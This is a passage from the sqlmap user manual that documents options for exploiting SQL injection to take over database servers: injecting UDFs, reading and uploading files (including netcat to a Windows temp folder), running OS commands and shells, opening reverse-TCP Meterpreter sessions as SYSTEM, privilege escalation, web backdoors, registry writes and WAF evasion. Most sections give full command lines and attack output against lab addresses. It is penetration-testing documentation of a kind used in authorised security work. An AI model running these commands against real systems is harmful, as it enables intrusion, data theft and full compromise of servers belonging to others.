Inject custom user-defined functions (UDF)

Switch and option: --udf-inject and --shared-lib

You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Use option --udf-inject and follow the instructions.

If you want, you can specify the shared library local file system path via command line too by using--shared-lib option. Vice versa sqlmap will ask you for the path at runtime.

This feature is available only when the database management system is MySQL or PostgreSQL.

File system access

Read a file from the database server's file system

Option: --file-read

It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a Microsoft SQL Server 2005 target to retrieve a binary file:

  1. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
  2. e=luther" --file-read "C:/example.exe" -v 1
  3.  
  4. [...]
  5. [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
  6. web server operating system: Windows 2000
  7. web application technology: ASP.NET, Microsoft IIS 6.0, ASP
  8. back-end DBMS: Microsoft SQL Server 2005
  9.  
  10. [hh:mm:50] [INFO] fetching file: 'C:/example.exe'
  11. [hh:mm:50] [INFO] the SQL query provided returns 3 entries
  12. C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
  13. C__example.exe'
  14. [...]
  15.  
  16. $ ls -l output/192.168.136.129/files/C__example.exe 
  17. -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
  18. _example.exe
  19.  
  20. $ file output/192.168.136.129/files/C__example.exe 
  21. output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
  22. ) Intel 80386 32-bit

Upload a file to the database server's file system

Options: --file-write and --file-dest

It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a MySQL target to upload a binary UPX-compressed file:

  1. $ file /software/nc.exe.packed 
  2. /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
  3. -bit
  4.  
  5. $ ls -l /software/nc.exe.packed
  6. -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
  7.  
  8. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
  9. -file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
  10.  
  11. [...]
  12. [hh:mm:29] [INFO] the back-end DBMS is MySQL
  13. web server operating system: Windows 2003 or 2008
  14. web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
  15. back-end DBMS: MySQL >= 5.0.0
  16.  
  17. [...]
  18. do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
  19. fully written on the back-end DBMS file system? [Y/n] y
  20. [hh:mm:52] [INFO] retrieved: 31744
  21. [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
  22. ytes, same size as the local file '/software/nc.exe.packed'

Operating system takeover

Run arbitrary operating system command

Option and switch: --os-cmd and --os-shell

It is possible to run arbitrary commands on the database server's underlying operating systemwhen the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, sys_exec() and sys_eval(), then it creates these two functions on the database and calls one of them to execute the specified command, depending on user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch.

When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques (blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query SQL injection technique is used to execute the command.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a PostgreSQL target:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
  2. os-cmd id -v 1
  3.  
  4. [...]
  5. web application technology: PHP 5.2.6, Apache 2.2.9
  6. back-end DBMS: PostgreSQL
  7. [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
  8. [hh:mm:12] [INFO] the back-end DBMS operating system is Linux
  9. [hh:mm:12] [INFO] testing if current user is DBA
  10. [hh:mm:12] [INFO] detecting back-end DBMS version from its banner
  11. [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
  12. [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
  13. [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
  14. [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
  15. do you want to retrieve the command standard output? [Y/n/a] y
  16. command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
  17. gres)'
  18.  
  19. [hh:mm:19] [INFO] cleaning up the database management system
  20. do you want to remove UDF 'sys_eval'? [Y/n] y
  21. do you want to remove UDF 'sys_exec'? [Y/n] y
  22. [hh:mm:23] [INFO] database management system cleanup finished
  23. [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
  24. tem can only be deleted manually

It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has.

Where stacked queries has not been identified on the web application (e.g. PHP or ASP with back-end database management system being MySQL) and the DBMS is MySQL, it is still possible to abuse the SELECT clause's INTO OUTFILE to create a web backdoor in a writable folder within the web server document root and still get command execution assuming the back-end DBMS and the web server are hosted on the same server. sqlmap supports this technique and allows the user to provide a comma-separated list of possible document root sub-folders where try to upload the web file stager and the subsequent web backdoor. Also, sqlmap has its own tested web file stagers and backdoors for the following languages:

  • ASP
  • ASP.NET
  • JSP
  • PHP

Out-of-band stateful connection: Meterpreter & friends

Switches and options: --os-pwn, --os-smbrelay, --os-bof, --priv-esc, --msf-path and --tmp-path

It is possible to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.

sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

  • Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function sys_bineval(). Supported on MySQL and PostgreSQL - switch --os-pwn.
  • Upload and execution of a Metasploit's stand-alone payload stager via sqlmap own user-defined function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL Server - switch --os-pwn.
  • Execution of Metasploit's shellcode by performing a SMB reflection attack (MS08-068) with a UNC path request from the database server to the attacker's machine where the Metasploitsmb_relay server exploit listens. Supported when running sqlmap with high privileges (uid=0) on Linux/Unix and the target DBMS runs as Administrator on Windows - switch --os-smbrelay.
  • Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow(MS09-004). sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation - switch --os-bof.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

Example against a MySQL target:

  1. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
  2. id=1" --os-pwn --msf-path /software/metasploit
  3.  
  4. [...]
  5. [hh:mm:31] [INFO] the back-end DBMS is MySQL
  6. web server operating system: Windows 2003
  7. web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
  8. back-end DBMS: MySQL 5.0
  9. [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
  10. [hh:mm:31] [INFO] the back-end DBMS operating system is Windows
  11. how do you want to establish the tunnel?
  12. [1] TCP: Metasploit Framework (default)
  13. [2] ICMP: icmpsh - ICMP tunneling
  14. > 
  15. [hh:mm:32] [INFO] testing if current user is DBA
  16. [hh:mm:32] [INFO] fetching current user
  17. what is the back-end database management system architecture?
  18. [1] 32-bit (default)
  19. [2] 64-bit
  20. > 
  21. [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
  22. [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
  23. [hh:mm:33] [INFO] detecting back-end DBMS version from its banner
  24. [hh:mm:33] [INFO] retrieving MySQL base directory absolute path
  25. [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
  26. [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
  27. how do you want to execute the Metasploit shellcode on the back-end database und
  28. erlying operating system?
  29. [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
  30. [2] Stand-alone payload stager (file system way)
  31. > 
  32. [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
  33. which connection type do you want to use?
  34. [1] Reverse TCP: Connect back from the database host to this machine (default)
  35. [2] Reverse TCP: Try to connect back from the database host to this machine, on 
  36. all ports 
  37. between the specified and 65535
  38. [3] Bind TCP: Listen on the database host for a connection
  39. > 
  40. which is the local address? [192.168.136.1] 
  41. which local port number do you want to use? [60641] 
  42. which payload do you want to use?
  43. [1] Meterpreter (default)
  44. [2] Shell
  45. [3] VNC
  46. > 
  47. [hh:mm:40] [INFO] creation in progress ... done
  48. [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
  49. lease wait..
  50.  
  51.                                 _
  52.                                 | |      o
  53. _  _  _    _ _|_  __,   ,    _  | |  __    _|_
  54. / |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  55. |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
  56.                         /|
  57.                         \|
  58.  
  59.  
  60.     =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
  61. + -- --=[ 674 exploits - 351 auxiliary
  62. + -- --=[ 217 payloads - 27 encoders - 8 nops
  63.     =[ svn r12272 updated 4 days ago (2011.04.07)
  64.  
  65. PAYLOAD => windows/meterpreter/reverse_tcp
  66. EXITFUNC => thread
  67. LPORT => 60641
  68. LHOST => 192.168.136.1
  69. [*] Started reverse handler on 192.168.136.1:60641 
  70. [*] Starting the payload handler...
  71. [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
  72. ineval', please wait..
  73. [*] Sending stage (749056 bytes) to 192.168.136.129
  74. [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
  75. t Mon Apr 11 hh:mm:52 +0100 2011
  76.  
  77. meterpreter > Loading extension espia...success.
  78. meterpreter > Loading extension incognito...success.
  79. meterpreter > [-] The 'priv' extension has already been loaded.
  80. meterpreter > Loading extension sniffer...success.
  81. meterpreter > System Language : en_US
  82. OS              : Windows .NET Server (Build 3790, Service Pack 2).
  83. Computer        : W2K3R2
  84. Architecture    : x86
  85. Meterpreter     : x86/win32
  86. meterpreter > Server username: NT AUTHORITY\SYSTEM
  87. meterpreter > ipconfig
  88.  
  89. MS TCP Loopback interface
  90. Hardware MAC: 00:00:00:00:00:00
  91. IP Address  : 127.0.0.1
  92. Netmask     : 255.0.0.0
  93.  
  94.  
  95.  
  96. Intel(R) PRO/1000 MT Network Connection
  97. Hardware MAC: 00:0c:29:fc:79:39
  98. IP Address  : 192.168.136.129
  99. Netmask     : 255.255.255.0
  100.  
  101.  
  102. meterpreter > exit
  103.  
  104. [*] Meterpreter session 1 closed.  Reason: User exit

By default MySQL on Windows runs as SYSTEM, however PostgreSQL runs as a low-privileged userpostgres on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE.

It is possible to provide sqlmap with switch --priv-esc to perform a database process' user privilege escalation via Metasploit's getsystem command which include, among others, thekitrap0d technique (MS10-015).

Windows registry access

It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the web application supports stacked queries. Also, session user has to have the needed privileges to access it.

Read a Windows registry key value

Switch: --reg-read

Using this switch you can read registry key values.

Write a Windows registry key value

Switch: --reg-add

Using this switch you can write registry key values.

Delete a Windows registry key

Switch: --reg-del

Using this switch you can delete registry keys.

Auxiliary registry options

Options: --reg-key, --reg-value, --reg-data and --reg-type

These options can be used to provide data needed for proper running of switches --reg-read, --reg-add and --reg-del. So, instead of providing registry key information when asked, you can use them at command prompt as program arguments.

With --reg-key option you specify used Windows registry key path, with --reg-value value item name inside provided key, with --reg-data value data, while with --reg-type option you specify type of the value item.

A sample command line for adding a registry key hive follows:

  1. $ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
  2. eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
  3. pe=REG_SZ --reg-data=1

General

These options can be used to set some general working parameters.

Load session from a stored (.sqlite) file

Option: -s

sqlmap automatically creates a persistent session SQLite file for each target, inside dedicated output directory, where it stores all data required for session resumal. If user wants to explicitly set the session file location (e.g. for storing of session data for multiple targets at one place) he can use this option.

Log HTTP(s) traffic to a textual file

Option: -t

This option requires an argument that specified the textual file to write all HTTP(s) traffic generated by sqlmap - HTTP(S) requests and HTTP(S) responses.

This is useful primarily for debug purposes - when you provide the developers with a potential bug report, send this file too.

Act in non-interactive mode

Switch: --batch

If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can force that by using switch --batch. This will leave sqlmap to go with a default behaviour whenever user's input would be required.

Binary content retrieval

Option --binary-fields

In case of binary content retrieval, like in example of tables having column(s) with stored binary values (e.g. column password with binary stored password hash values), it is possible to use option--binary-fields for (extra) proper handling by sqlmap. All those fields (i.e. table columns) are then retrieved and represented in their hexadecimal representation, so afterwards they could be properly processed with other tools (e.g. john).

Force character encoding used for data retrieval

Option: --charset

For proper decoding of character data sqlmap uses either web server provided information (e.g. HTTP header Content-Type) or a heuristic result coming from a 3rd party library chardet.

Nevertheless, there are cases when this value has to be overwritten, especially when retrieving data containing international non-ASCII letters (e.g. --charset=GBK). It has to be noted that there is a possibility that character information is going to be irreversibly lost due to implicit incompatibility between stored database content and used database connector at the target side.

Crawl the website starting from the target URL

Option: --crawl

sqlmap can collect potentially vulnerable links by collecting them (crawling) starting from the target location. Using this option user can set a depth (distance from a starting location) below which sqlmap won't go in collecting phase, as the process is being done recursively as long as there are new links to be visited.

Example run against a MySQL target:

  1. $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
  2. [...]
  3. [xx:xx:53] [INFO] starting crawler
  4. [xx:xx:53] [INFO] searching for links with depth 1
  5. [xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
  6. [xx:xx:53] [INFO] searching for links with depth 2
  7. [xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
  8. [xx:xx:00] [INFO] 42/56 links visited (75%)
  9. [...]

Option --crawl-exclude

With this option you can exclude pages from crawling by providing a regular expression. For example, if you want to skip all pages that have the keyword logout in their paths, you can use --crawl-exclude=logout.

Delimiting character used in CSV output

Option: --csv-del

When data being dumped is stored into the CSV format (--dump-format=CSV), entries have to be separated with a "separation value" (default is ,). In case that user wants to override its default value he can use this option (e.g. --csv-del=";").

DBMS authentication credentials

Option: --dbms-cred

In some cases user will be warned that some operations failed because of lack of current DBMS user privileges and that he could try to use this option. In those cases, if he provides admin user credentials to sqlmap by using this option, sqlmap will try to rerun the problematic part with specialized "run as" mechanisms (e.g. OPENROWSET on Microsoft SQL Server) using those credentials.

Format of dumped data

Option: --dump-format

sqlmap supports three different types of formatting when storing dumped table data into the corresponding file inside an output directory: CSV, HTML and SQLITE. Default one is CSV, where each table row is stored into a textual file line by line, and where each entry is separated with a comma character , (or one provided with option --csv-del). In case of HTML, output is being stored into a HTML file, where each row is represented with a row inside a formatted table. In case of SQLITE, output is being stored into a SQLITE database, where original table content is replicated into the corresponding table having a same name.

Estimated time of arrival

Switch: --eta

It is possible to calculate and show in real time the estimated time of arrival to retrieve each query output. This is shown when the technique used to retrieve the output is any of the blind SQL injection types.

Example against an Oracle target affected only by boolean-based blind SQL injection:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
  2. =1" -b --eta
  3.  
  4. [...]
  5. [hh:mm:01] [INFO] the back-end DBMS is Oracle
  6. [hh:mm:01] [INFO] fetching banner
  7. [hh:mm:01] [INFO] retrieving the length of query output
  8. [hh:mm:01] [INFO] retrieved: 64
  9. 17% [========>                                          ] 11/64  ETA 00:19

Then:

  1. 100% [===================================================] 64/64
  2. [hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
  3. .0.1.0 - Prod
  4.  
  5. web application technology: PHP 5.2.6, Apache 2.2.9
  6. back-end DBMS: Oracle
  7. banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved output characters.

Flush session files

Option: --flush-session

As you are already familiar with the concept of a session file from the description above, it is good to know that you can flush the content of that file using option --flush-session. This way you can avoid the caching mechanisms implemented by default in sqlmap. Other possible way is to manually remove the session file(s).

Parse and test forms' input fields

Switch: --forms

Say that you want to test against SQL injections a huge search form or you want to test a login bypass (typically only two input fields named like username and password), you can either pass to sqlmap the request in a request file (-r), set the POSTed data accordingly (--data) or let sqlmap do it for you!

Both of the above mentioned instances, and many others, appear as <form> and <input> tags in HTML response bodies and this is where this switch comes into play.

Provide sqlmap with --forms as well as the page where the form can be found as the target URL (-u) and sqlmap will request the target URL for you, parse the forms it has and guide you through to test for SQL injection on those form input fields (parameters) rather than the target URL provided.

Ignore query results stored in session file

Switch: --fresh-queries

As you are already familiar with the concept of a session file from the description above, it is good to know that you can ignore the content of that file using option --fresh-queries. This way you can keep the session file untouched and for a selected run, avoid the resuming/restoring of queries output.

Use DBMS hex function(s) for data retrieval

Switch: --hex

In lost of cases retrieval of non-ASCII data requires special needs. One solution for that problem is usage of DBMS hex function(s). Turned on by this switch, data is encoded to it's hexadecimal form before being retrieved and afterwards unencoded to it's original form.

Example against a PostgreSQL target:

  1. $ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
  2. anner --hex -v 3 --parse-errors
  3.  
  4. [...]
  5. [xx:xx:14] [INFO] fetching banner
  6. [xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
  7. (58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
  8. ))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
  9. CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
  10. [xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
  11. >function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
  12. eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
  13. 676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
  14. 6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
  15. hp</b> on line <b>35</b>'
  16. [xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by 
  17. GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
  18. [...]

Custom output directory path

Option: --output-dir

sqlmap by default stores session and result files inside a subdirectory output. In case you want to use a different location, you can use this option (e.g. --output-dir=/tmp).

Parse DBMS error messages from response pages

Switch: --parse-errors

If the web application is configured in debug mode so that it displays in the HTTP responses the back-end database management system error messages, sqlmap can parse and display them for you.

This is useful for debugging purposes like understanding why a certain enumeration or takeover switch does not work - it might be a matter of session user's privileges and in this case you would see a DBMS error message along the lines of Access denied for user <SESSION USER>.

Example against a Microsoft SQL Server target:

  1. $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
  2.  --parse-errors
  3. [...]
  4. [xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the 
  5. timeneeded to find the right number of query columns. Automatically extending th
  6. e rangefor current UNION query injection technique test
  7. [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
  8. ers (0x80040E14)
  9. [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
  10. s out of range of the number of items in the select list.
  11. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
  12. [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
  13. ers (0x80040E14)
  14. [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
  15.  out of range of the number of items in the select list.
  16. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
  17. [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
  18. ers (0x80040E14)
  19. [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
  20.  out of range of the number of items in the select list.
  21. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
  22. [xx:xx:17] [INFO] target URL appears to have 3 columns in query
  23. [...]

Save options in a configuration INI file

Option: --save

It is possible to save the command line options to a configuration INI file. The generated file can then be edited and passed to sqlmap with the -c option as explained above.

Update sqlmap

Switch: --update

Using this option you can update the tool to the latest development version directly from the Git repository. You obviously need Internet access.

If, for any reason, this operation fails, run git pull from your sqlmap working copy. It will perform the exact same operation of switch --update. If you are running sqlmap on Windows, you can use the SmartGit client.

This is strongly recommended before reporting any bug to the mailing lists.

Miscellaneous

Use short mnemonics

Option: -z

It could become tedious to type all desired options and switches, especially for those that are used most often (e.g. --batch --random-agent --ignore-proxy --technique=BEU). There is a simpler and much shorter way how to deal with that problem. In sqlmap it's called "mnemonics".

Each option and switch can be written in a shorter mnemonic form using option -z, separated with a comma character (,), where mnemonics represent only the first arbitrarily chosen part of the original name. There is no strict mapping of options and switches to their respective shortened counterparts. Only required condition is that there is no other option nor switch that has a same prefix as the desired one.

Example:

  1. $ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
  2. w.target.com/vuln.php?id=1"

can be written (one of many ways) in shorter mnemonic form like:

  1. $ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
  2. 1"

Another example:

  1. $ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
  2. b -T users -u "www.target.com/vuln.php?id=1"

can be written in shorter mnemonic form like:

  1. $ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
  2. com/vuln.php?id=1"

Alerting on successful SQL injection detection

Option: --alert

Set answers for questions

Option: --answers

In case that user wants to automatically set up answers for questions, even if --batch is used, using this option he can do it by providing any part of question together with answer after an equal sign. Also, answers for different question can be split with delimiter character ,.

Example against a MySQL target:

  1. $ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
  2. chnique=E --answers="extending=N" --batch
  3. [...]
  4. [xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
  5. heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
  6. want to skip test payloads specific for other DBMSes? [Y/n] Y
  7. [xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
  8. d level (1) and risk (1)? [Y/n] N
  9. [...]

Make a beep sound when SQL injection is found

Switch: --beep

In case that user uses switch --beep he'll be warned with a beep sound immediately when SQL injection is found. This is especially useful when there is a large bulk list (option -m) of target URLs to be tested.

Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

Switch: --cleanup

It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done taking over the underlying operating system or file system. Switch --cleanup will attempt to clean up the DBMS and the file system wherever possible.

Check for dependencies

Switch: --dependencies

sqlmap in some special cases requires independent installation of extra 3rd party libraries (e.g. options -d, switch --os-pwn in case of icmpsh tunneling, option --auth-type in case of NTLMHTTP authentication type, etc.) and it will warn the user only in such special cases. But, if you want to independently check for all those extra 3rd party library dependencies you can use switch --dependencies.

  1. $ python sqlmap.py --dependencies
  2. [...]
  3. [xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
  4.  order to directly connect to the DBMS Firebird. Download from http://kinterbasd
  5. b.sourceforge.net/
  6. [xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
  7. er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
  8. rge.net/
  9. [xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
  10. er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
  11. unt/PyMySQL/
  12. [xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
  13. rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
  14. ceforge.net/
  15. [xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
  16. der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
  17. sycopg/
  18. [xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
  19. r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
  20. p/ibm-db/
  21. [xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
  22. rty library in order to directly connect to the DBMS HSQLDB. Download from https
  23. ://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
  24. [xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
  25. r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
  26. googlecode.com/
  27. [xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
  28. er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
  29. mssql.sourceforge.net/
  30. [xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
  31. an to attack a web application behind NTLM authentication. Download from http://
  32. code.google.com/p/python-ntlm/
  33. [xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
  34. ou plan to attack a web application using WebSocket. Download from https://pypi.
  35. python.org/pypi/websocket-client/

Disable console output coloring

Switch: --disable-coloring

sqlmap by default uses coloring while writting to console. In case of undesired effects (e.g. console appearance of uninterpreted ANSI coloring codes like \x01\x1b[0;32m\x02[INFO]) you can disable console output coloring by using this switch.

Use Google dork results from specified page number

Option: --gpage

Default sqlmap behavior with option -g is to do a Google search and use the first 100 resulting URLs for further SQL injection testing. However, in combination with this option you can specify with this option (--gpage) a page other than the first one to retrieve target URLs from.

Use HTTP parameter pollution

Switch: --hpp

HTTP parameter pollution (HPP) is a method for bypassing WAF/IPS/IDS protection mechanisms (explained here) that is particularly effective against ASP/IIS and ASP.NET/IIS platforms. If you suspect that the target is behind such protection, you can try to bypass it by using this switch.

Make a through testing for a WAF/IPS/IDS protection

Switch: --identify-waf

sqlmap can try to identify backend WAF/IPS/IDS protection (if any) so user could do appropriate steps (e.g. use tamper scripts with --tamper). Currently around 30 different products are supported (Airlock, Barracuda WAF, etc.) and their respective WAF scripts can be found inside wafdirectory.

Example against a MySQL target protected by the ModSecurity WAF:

  1. $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
  2. dentify-waf -v 3
  3. [...]
  4. [xx:xx:23] [INFO] testing connection to the target URL
  5. [xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
  6. [xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
  7. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un
  8. ited Security Providers)'
  9. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F
  10. irewall (BinarySEC)'
  11. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio
  12. n Firewall (NetContinuum/Barracuda Networks)'
  13. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application 
  14. Firewall (art of defence Inc.)'
  15. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc
  16. o Systems)'
  17. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)
  18. '
  19. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi
  20. rewall Enterprise (Teros/Citrix Systems)'
  21. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Ak
  22. amai Technologies)'
  23. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application F
  24. irewall (Incapsula/Imperva)'
  25. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application 
  26. Firewall (CloudFlare)'
  27. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application F
  28. irewall (Barracuda Networks)'
